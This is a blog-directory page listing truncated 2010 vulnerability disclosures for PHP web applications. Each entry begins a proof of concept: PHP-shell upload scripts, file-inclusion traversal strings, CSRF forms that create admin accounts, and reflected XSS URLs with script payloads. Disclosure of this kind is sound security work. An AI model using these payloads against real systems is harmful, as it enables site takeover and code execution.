2010-07-12 01:13
An arbitrary upload vulnerability in CMS Made Simple 1.8 Download Manager 1.4.1 Module can be exploited to upload a PHP shell.PoCimport socket, rehost = 'localhost'path = '/cmsms'port = 80de… Read More
Blog Directory > Software Blogs > Programming Blogs > XSS - Cross-Site Scripting programming Blog >
Xss - Cross-site Scripting Blog
cross-site-scripting.blogspot.com
Tags:
ltinput typehidden
typehidden
crosssite request
ltinput
crosssite request forgery
request forgery
host
arbitrary upload
authentication
download manager module
And Other Web Related Deception
2010-07-12 01:12
An arbitrary upload vulnerability in CMS Made Simple 1.8 Antz Toolkit 1.02 Module can be exploited to upload a PHP shell.PoCimport sockethost = 'localhost'path = '/cmsms'port = 80def upload_… Read More
2010-07-12 01:12
A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.PoCimport httplib, urllibhost = 'localhost'path = '/cmsms'lfi = '../' * 32 + 'windows/… Read More
2010-07-11 15:23
An authentication bypass vulnerability in Orbis 1.0.2 can be exploited to create a new admin.ExploitSeveral admin related scripts fail to terminate after setting the header location field.Po… Read More
2010-07-11 15:15
A cross-site request forgery vulnerability in PyroCMS 0.9.9.1 can be exploited to create a new admin.PoC<html> <body onload="document.forms[0].submit()"> <form metho… Read More
2010-07-11 15:12
A cross-site request forgery vulnerability in LifeType 1.2.10 can be exploited to create a new admin.PoC<html> <body> <img src="http://localhost/lifetype-1.2.10/admi… Read More
2010-07-11 15:09
A cross-site request forgery vulnerability in Globber can be exploitedto add and delete blog posts.PoC<!-- Add (note that blog also must be "rebuilt") --><html> <body onloa… Read More
2010-07-11 15:07
A cross-site request forgery vulnerability in InterPhoto 2.3.0 can be exploited to change a user's password.PoC<html> <body> <img src="http://localhost/interphoto/my… Read More
2010-07-11 15:00
A cross-site request forgery vulnerability in chillyCMS 1.1.3 can be exploited to create a new admin.PoC<html> <body onload="document.forms[0].submit()"> <form metho… Read More
2010-07-11 14:58
A reflected cross-site scripting vulnerability in ImpressCMS 1.2.1 Final can be exploited to execute arbitrary JavaScript.PoChttp://localhost/impresscms/plugins/csstidy/css_optimiser.php?url… Read More
2010-07-11 14:55
A reflected cross-site scripting vulnerability in RunCMS 2.1 Magpie RSS Module can be exploited to execute arbitrary JavaScript.PoChttp://localhost/runcms2.1/modules/headlines/magpierss/scri… Read More
2010-07-11 14:51
A reflected cross-site scripting vulnerability in PeteWiki 0.6 can be exploited to execute arbitrary JavaScript.PoChttp://localhost/petewiki/index.php?show=%3Cscript%3Ealert(0)%3C/script%3E Read More
2010-07-11 14:49
A reflected cross-site scripting vulnerability in Lion Wiki 3.2.3 can be exploited to execute arbitrary JavaScript.PoChttp://localhost/lionwiki/index.php?error=%3Cscript%3Ealert(0)%3C/script… Read More
2010-07-05 16:40
An arbitrary upload vulnerability in NetworX 1.0.3 can be exploited to upload a PHP shell.PoCimport sys, sockethost = 'localhost'path = '/networx'port = 80def upload_shell(): s = socket.s… Read More
2010-07-05 16:39
A local file inclusion vulnerability in nuBuilder 10.04.20 can be exploited to include arbitrary files.PoChttp://localhost/nubuilder-10.04.20/productionnu2/fileuploader.php?dir=../../../../… Read More
2010-07-05 16:39
A cross-site request forgery vulnerability in Lanius CMS 0.5.2 r1668 can be exploited to create a new admin.PoC<html> <body onload="document.forms[0].submit()"> <for… Read More
2010-07-05 16:38
A cross-site request forgery vulnerability in Log1 CMS 2.0 can be exploited to change the admin username and password.PoC<html> <body onload="document.forms[0].submit()">… Read More
2010-07-05 16:37
A cross-site request forgery vulnerability in ATutor 2.0 can be exploited to create a new admin (new_admin/Password1).PoC<html> <body onload="document.forms[0].submit.click()">&hell…Read More
2010-07-05 16:37
An XSS vulnerability in nuBuilder 10.04.20 can be exploited toexecute arbitrary JavaScript.PoChttp://localhost/nubuilder-10.04.20/productionnu2/nuedit.php?f=%3Cscript%3Ealert(0)%3C/script%3E Read More
2010-07-05 16:36
An XSS vulnerability in News Office 2.0.18 can be exploited toexecute arbitrary JavaScript.PoChttp://localhost/newsoffice/news_show.php?n-user=a&n-cat='%3E%3Cscript%3Ealert(0)%3C/script%… Read More
2010-07-05 16:36
An XSS vulnerability in Bit Weaver 2.7 can be exploited toexecute arbitrary JavaScript.PoChttp://localhost/bitweaver/themes/preview_image.php?fImg=%22%3E%3Cscript%3Ealert(0)%3C/script%3E Read More
2010-07-05 16:35
An XSS vulnerability in odCMS 1.07 can be exploited toexecute arbitrary JavaScript.PoChttp://localhost/odcms/codes/archive.php?design=%3Cscript%3Ealert(0)%3C/script%3E Read More
2010-07-05 16:35
An XSS vulnerability in NetworX 1.0.3 can be exploited toexecute arbitrary JavaScript.PoChttp://localhost/networx/group_connections_list_popup.php?group_id=%22%3E%3Cscript%3Ealert(0)%3C/scri… Read More
2010-07-05 16:34
An XSS vulnerability in Orbis 1.0.2 can be exploited toexecute arbitrary JavaScript.PoChttp://localhost/orbis/admin/editors/text/editor-body.php?s=%22%3E%3Cscript%3Ealert(0)%3C/script%3E Read More
2010-07-02 03:51
A cross-site request forgery vulnerability in TomatoCart 1.0 can be exploited to create a new admin.PoC<html> <body> <img src="http://localhost/tomatocart/admin/json… Read More
Subscribe to Xss - Cross-site Scripting
Get updates delivered right to your inbox!